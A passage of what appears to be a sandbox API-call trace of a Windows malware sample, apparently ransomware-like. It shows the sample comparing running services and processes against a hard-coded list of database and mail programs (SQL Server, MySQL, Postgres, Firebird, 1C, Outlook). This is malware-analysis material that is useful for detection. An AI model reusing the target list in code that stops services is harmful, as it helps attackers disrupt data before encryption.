lpString2="UxSms") returned -1 [0038.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0038.007] lstrlenW (lpString="WdiServiceHost") returned 14 [0038.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0038.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0038.007] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0038.007] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0038.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0038.007] lstrlenW (lpString="WdiSystemHost") returned 13 [0038.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0038.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0038.008] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0038.008] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0038.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0038.008] lstrlenW (lpString="WinDefend") returned 9 [0038.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0038.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0038.008] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0038.008] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0038.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0038.008] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0038.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0038.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0038.008] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0038.008] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0038.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0038.008] lstrlenW (lpString="Winmgmt") returned 7 [0038.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0038.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0038.008] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0038.008] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0038.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0038.008] lstrlenW (lpString="wscsvc") returned 6 [0038.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0038.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0038.008] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0038.008] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0038.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0038.008] lstrlenW (lpString="wuauserv") returned 8 [0038.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0038.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0038.008] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0038.008] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0038.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0038.009] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x520000) returned 1 [0038.009] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19c [0038.012] Process32FirstW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0038.013] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0038.013] lstrlenW (lpString="System") returned 6 [0038.013] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0038.013] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0038.013] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0038.013] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0038.013] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0038.013] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0038.013] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0038.014] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0038.014] lstrlenW (lpString="smss.exe") returned 8 [0038.014] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0038.014] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0038.014] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0038.014] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0038.014] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0038.014] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0038.014] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0038.014] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0038.015] lstrlenW (lpString="csrss.exe") returned 9 [0038.015] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0038.015] lstrlenW (lpString="wininit.exe") returned 11 [0038.015] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0038.016] lstrlenW (lpString="csrss.exe") returned 9 [0038.016] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0038.016] lstrlenW (lpString="winlogon.exe") returned 12 [0038.016] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0038.017] lstrlenW (lpString="services.exe") returned 12 [0038.017] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0038.017] lstrlenW (lpString="lsass.exe") returned 9 [0038.018] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0038.018] lstrlenW (lpString="lsm.exe") returned 7 [0038.018] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.019] lstrlenW (lpString="svchost.exe") returned 11 [0038.019] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.019] lstrlenW (lpString="svchost.exe") returned 11 [0038.019] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.020] lstrlenW (lpString="svchost.exe") returned 11 [0038.020] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.020] lstrlenW (lpString="svchost.exe") returned 11 [0038.020] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.021] lstrlenW (lpString="svchost.exe") returned 11 [0038.021] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0038.021] lstrlenW (lpString="audiodg.exe") returned 11 [0038.021] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.022] lstrlenW (lpString="svchost.exe") returned 11 [0038.022] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.022] lstrlenW (lpString="svchost.exe") returned 11 [0038.022] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0038.023] lstrlenW (lpString="dwm.exe") returned 7 [0038.023] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0038.023] lstrlenW (lpString="explorer.exe") returned 12 [0038.023] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0038.024] lstrlenW (lpString="spoolsv.exe") returned 11 [0038.024] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0038.024] lstrlenW (lpString="taskhost.exe") returned 12 [0038.025] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.025] lstrlenW (lpString="svchost.exe") returned 11 [0038.025] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0038.026] lstrlenW (lpString="taskeng.exe") returned 11 [0038.026] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0038.026] lstrlenW (lpString="taskhost.exe") returned 12 [0038.026] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.027] lstrlenW (lpString="svchost.exe") returned 11 [0038.027] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0038.027] lstrlenW (lpString="sppsvc.exe") returned 10 [0038.027] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.028] lstrlenW (lpString="svchost.exe") returned 11 [0038.028] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="antibodiesbatteries.exe")) returned 1 [0038.028] lstrlenW (lpString="antibodiesbatteries.exe") returned 23 [0038.028] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smsvhskate.exe")) returned 1 [0038.029] lstrlenW (lpString="smsvhskate.exe") returned 14 [0038.029] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="auditorpickupprogramming.exe")) returned 1 [0038.029] lstrlenW (lpString="auditorpickupprogramming.exe") returned 28 [0038.029] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient latin.exe")) returned 1 [0038.030] lstrlenW (lpString="patient latin.exe") returned 17 [0038.030] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barbados.exe")) returned 1 [0038.030] lstrlenW (lpString="barbados.exe") returned 12 [0038.030] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="otthose.exe")) returned 1 [0038.031] lstrlenW (lpString="otthose.exe") returned 11 [0038.031] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="suburban.exe")) returned 1 [0038.031] lstrlenW (lpString="suburban.exe") returned 12 [0038.031] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="examination.exe")) returned 1 [0038.032] lstrlenW (lpString="examination.exe") returned 15 [0038.032] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation-remark-crisis.exe")) returned 1 [0038.032] lstrlenW (lpString="circulation-remark-crisis.exe") returned 29 [0038.032] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="madrid.exe")) returned 1 [0038.033] lstrlenW (lpString="madrid.exe") returned 10 [0038.033] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurerush.exe")) returned 1 [0038.033] lstrlenW (lpString="measurerush.exe") returned 15 [0038.033] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="interest treaty spam.exe")) returned 1 [0038.034] lstrlenW (lpString="interest treaty spam.exe") returned 24 [0038.034] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikecollectionstransformation.exe")) returned 1 [0038.034] lstrlenW (lpString="unlikecollectionstransformation.exe") returned 35 [0038.034] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick below addressed.exe")) returned 1 [0038.035] lstrlenW (lpString="patrick below addressed.exe") returned 27 [0038.035] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jessefun.exe")) returned 1 [0038.161] lstrlenW (lpString="jessefun.exe") returned 12 [0038.161] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spyware-tampa.exe")) returned 1 [0038.161] lstrlenW (lpString="spyware-tampa.exe") returned 17 [0038.161] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sellers.exe")) returned 1 [0038.162] lstrlenW (lpString="sellers.exe") returned 11 [0038.162] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gras hair.exe")) returned 1 [0038.162] lstrlenW (lpString="gras hair.exe") returned 13 [0038.163] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="acquisitions.exe")) returned 1 [0038.163] lstrlenW (lpString="acquisitions.exe") returned 16 [0038.163] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="starscondos.exe")) returned 1 [0038.164] lstrlenW (lpString="starscondos.exe") returned 15 [0038.164] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0038.164] lstrlenW (lpString="3dftp.exe") returned 9 [0038.164] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0038.165] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0038.165] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0038.165] lstrlenW (lpString="alftp.exe") returned 9 [0038.165] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0038.166] lstrlenW (lpString="barca.exe") returned 9 [0038.166] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0038.166] lstrlenW (lpString="bitkinex.exe") returned 12 [0038.166] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0038.167] lstrlenW (lpString="coreftp.exe") returned 11 [0038.167] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0038.167] lstrlenW (lpString="far.exe") returned 7 [0038.167] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0038.168] lstrlenW (lpString="filezilla.exe") returned 13 [0038.168] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0038.168] lstrlenW (lpString="flashfxp.exe") returned 12 [0038.168] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0038.169] lstrlenW (lpString="fling.exe") returned 9 [0038.169] Process32NextW (in: hSnapshot=0x19c, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0038.170] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0038.170] Process32NextW (in: hSnapshot=0x19c, 